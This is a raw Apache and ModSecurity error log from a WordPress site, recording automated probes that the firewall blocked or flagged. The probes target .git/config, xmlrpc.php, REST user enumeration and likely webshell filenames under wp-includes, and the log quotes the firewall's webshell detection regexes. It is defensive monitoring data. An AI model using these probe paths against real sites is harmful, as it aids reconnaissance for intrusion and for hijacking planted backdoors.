[Wed Apr 15 05:20:52.022467 2026] [autoindex:error] [pid 4067:tid 4145] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:55.617386 2026] [autoindex:error] [pid 4067:tid 4137] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:55.837724 2026] [autoindex:error] [pid 4067:tid 4152] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:23:40.262930 2026] [:error] [pid 4065:tid 4084] [client 216.81.248.211:51108] [client 216.81.248.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad6wXAWArgJTHu2_6Oy_kwAAAAg"]
[Wed Apr 15 05:24:51.267928 2026] [:error] [pid 4067:tid 4140] [client 103.39.132.40:37876] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.132.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6wo-5XHBJU8ZrRxZ0veQAAAIk"]
[Wed Apr 15 05:26:45.446269 2026] [:error] [pid 4067:tid 4149] [client 170.249.163.210:60352] [client 170.249.163.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.249.163.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6xFe5XHBJU8ZrRxZ0wAgAAAJI"]
[Wed Apr 15 05:29:06.807698 2026] [:error] [pid 45504:tid 45507] [client 83.96.201.169:38320] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6xoq3iO9_fE_IQEMkl7gAAAQE"]
[Wed Apr 15 05:30:45.092494 2026] [:error] [pid 4066:tid 4114] [client 177.206.155.0:51916] [client 177.206.155.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.206.155.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6yBYC2YXfSPsC9O_BjmwAAAEo"]
[Wed Apr 15 05:30:47.519957 2026] [:error] [pid 45504:tid 45528] [client 177.206.155.0:51924] [client 177.206.155.0] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad6yB63iO9_fE_IQEMknEgAAARY"]
[Wed Apr 15 05:30:53.588722 2026] [:error] [pid 45504:tid 45512] [client 177.206.155.0:51924] [client 177.206.155.0] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad6yDa3iO9_fE_IQEMknHAAAAQY"]
[Wed Apr 15 05:35:15.355283 2026] [:error] [pid 45504:tid 45514] [client 54.38.195.241:49878] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6zE63iO9_fE_IQEMkqvAAAAQg"]
[Wed Apr 15 05:39:29.908244 2026] [:error] [pid 4169:tid 4181] [client 185.23.117.167:33270] [client 185.23.117.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.23.117.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad60ER15U5D-N99n_jJ6twAAAMk"]
[Wed Apr 15 05:43:41.806470 2026] [:error] [pid 4065:tid 4087] [client 66.29.147.6:47398] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.147.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad61DQWArgJTHu2_6OzFNAAAAAs"]
[Wed Apr 15 05:53:57.551918 2026] [:error] [pid 4065:tid 4081] [client 138.201.130.101:47916] [client 138.201.130.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.130.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad63dQWArgJTHu2_6OzHbgAAAAU"]
[Wed Apr 15 05:54:43.917057 2026] [:error] [pid 4169:tid 4196] [client 88.87.70.158:40062] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad63ox15U5D-N99n_jKA6QAAANU"]
[Wed Apr 15 06:00:12.012443 2026] [:error] [pid 4066:tid 4123] [client 45.131.195.151:56093] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "ad647IC2YXfSPsC9O_BrmgAAAFM"]
[Wed Apr 15 06:00:17.359993 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.175:24127] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "ad648R15U5D-N99n_jKCoQAAANg"]
[Wed Apr 15 06:00:27.872780 2026] [:error] [pid 4067:tid 4154] [client 45.131.195.120:47015] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "ad64--5XHBJU8ZrRxZ08UAAAAJc"]
[Wed Apr 15 06:00:32.988609 2026] [:error] [pid 4169:tid 4174] [client 45.131.195.126:55535] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "ad65AB15U5D-N99n_jKCzwAAAMI"]
[Wed Apr 15 06:00:42.706321 2026] [:error] [pid 45504:tid 45520] [client 45.131.195.165:40907] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "ad65Cq3iO9_fE_IQEMk7HgAAAQ4"]
[Wed Apr 15 06:00:45.580274 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.250:26255] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ad65Da3iO9_fE_IQEMk7JgAAAQw"]
[Wed Apr 15 06:00:46.667808 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.124:31219] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "ad65Dh15U5D-N99n_jKC3AAAAMs"]
[Wed Apr 15 06:00:47.652905 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.180:22499] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "ad65D63iO9_fE_IQEMk7KAAAAQU"]
[Wed Apr 15 06:00:48.697811 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.130:38617] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "ad65EK3iO9_fE_IQEMk7KwAAAQQ"]
[Wed Apr 15 06:00:50.407085 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.135:44047] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "ad65Eq3iO9_fE_IQEMk7MwAAARI"]
[Wed Apr 15 06:00:53.101542 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.120:35019] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "ad65Fa3iO9_fE_IQEMk7PQAAAQ0"]
[Wed Apr 15 06:00:56.669332 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.164:31929] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "ad65GK3iO9_fE_IQEMk7UAAAAQk"]
[Wed Apr 15 06:01:00.980789 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.155:50459] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ad65HB15U5D-N99n_jKC5wAAAM4"]
[Wed Apr 15 06:01:02.447005 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.116:35973] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "ad65Hh15U5D-N99n_jKC7AAAANY"]
[Wed Apr 15 06:01:09.444754 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.181:45551] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "ad65Ja3iO9_fE_IQEMk7YgAAARM"]
[Wed Apr 15 06:01:09.800214 2026] [:error] [pid 45504:tid 45510] [client 65.20.72.195:56650] [client 65.20.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.20.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad65Ja3iO9_fE_IQEMk7YwAAAQQ"]
[Wed Apr 15 06:01:24.990092 2026] [:error] [pid 4067:tid 4149] [client 45.131.195.121:20063] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "ad65NO5XHBJU8ZrRxZ08jAAAAJI"]
[Wed Apr 15 06:01:28.833391 2026] [:error] [pid 4067:tid 4136] [client 45.131.195.195:51579] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "ad65OO5XHBJU8ZrRxZ08jwAAAIU"]
[Wed Apr 15 06:01:33.977307 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.146:42661] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "ad65Pa3iO9_fE_IQEMk7nAAAAQI"]
[Wed Apr 15 06:01:36.876083 2026] [:error] [pid 4065:tid 4083] [client 45.131.195.195:51591] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "ad65QAWArgJTHu2_6OzIuwAAAAc"]
[Wed Apr 15 06:01:43.622944 2026] [:error] [pid 4065:tid 4093] [client 45.131.195.165:53861] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "ad65RwWArgJTHu2_6OzI0AAAABE"]
[Wed Apr 15 06:01:46.208285 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.160:27989] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "ad65SoC2YXfSPsC9O_Br9QAAAEk"]
[Wed Apr 15 06:01:49.040900 2026] [:error] [pid 4169:tid 4188] [client 45.131.195.166:26593] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "ad65TR15U5D-N99n_jKDMQAAAM8"]
[Wed Apr 15 06:01:50.304316 2026] [:error] [pid 4169:tid 4174] [client 45.131.195.181:61605] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "ad65Th15U5D-N99n_jKDMwAAAMI"]
[Wed Apr 15 06:01:51.330312 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.159:28815] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "ad65Tx15U5D-N99n_jKDNwAAANA"]
[Wed Apr 15 06:01:56.299911 2026] [:error] [pid 4169:tid 4179] [client 165.227.121.154:34972] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad65VB15U5D-N99n_jKDRQAAAMc"]
[Wed Apr 15 06:01:56.752014 2026] [:error] [pid 4067:tid 4134] [client 45.131.195.164:27183] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "ad65VO5XHBJU8ZrRxZ08ogAAAIM"]
[Wed Apr 15 06:01:57.749802 2026] [:error] [pid 4067:tid 4133] [client 45.131.195.184:58615] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "ad65Ve5XHBJU8ZrRxZ08pQAAAII"]
[Wed Apr 15 06:01:58.732863 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.165:36965] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "ad65Vh15U5D-N99n_jKDTQAAAME"]
[Wed Apr 15 06:02:11.644297 2026] [:error] [pid 45504:tid 45520] [client 45.131.195.139:36839] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "ad65Y63iO9_fE_IQEMk7zwAAAQ4"]
[Wed Apr 15 06:02:16.893747 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.186:24767] [client 45.131.195.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.186, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "ad65aK3iO9_fE_IQEMk74AAAAQ8"]
[Wed Apr 15 06:02:20.049671 2026] [:error] [pid 4169:tid 4189] [client 204.48.18.182:43968] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad65bB15U5D-N99n_jKDhAAAANA"]
[Wed Apr 15 06:02:32.259097 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.186:24767] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ad65eK3iO9_fE_IQEMk7_gAAARI"]
[Wed Apr 15 06:02:36.722786 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.130:48547] [client 45.131.195.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.130, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "ad65fK3iO9_fE_IQEMk8DAAAARc"]
[Wed Apr 15 06:02:39.385446 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.130:48547] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "ad65f63iO9_fE_IQEMk8FgAAARg"]
[Wed Apr 15 06:02:50.055134 2026] [:error] [pid 45504:tid 45513] [client 45.131.195.149:46981] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "ad65iq3iO9_fE_IQEMk8OQAAAQc"]
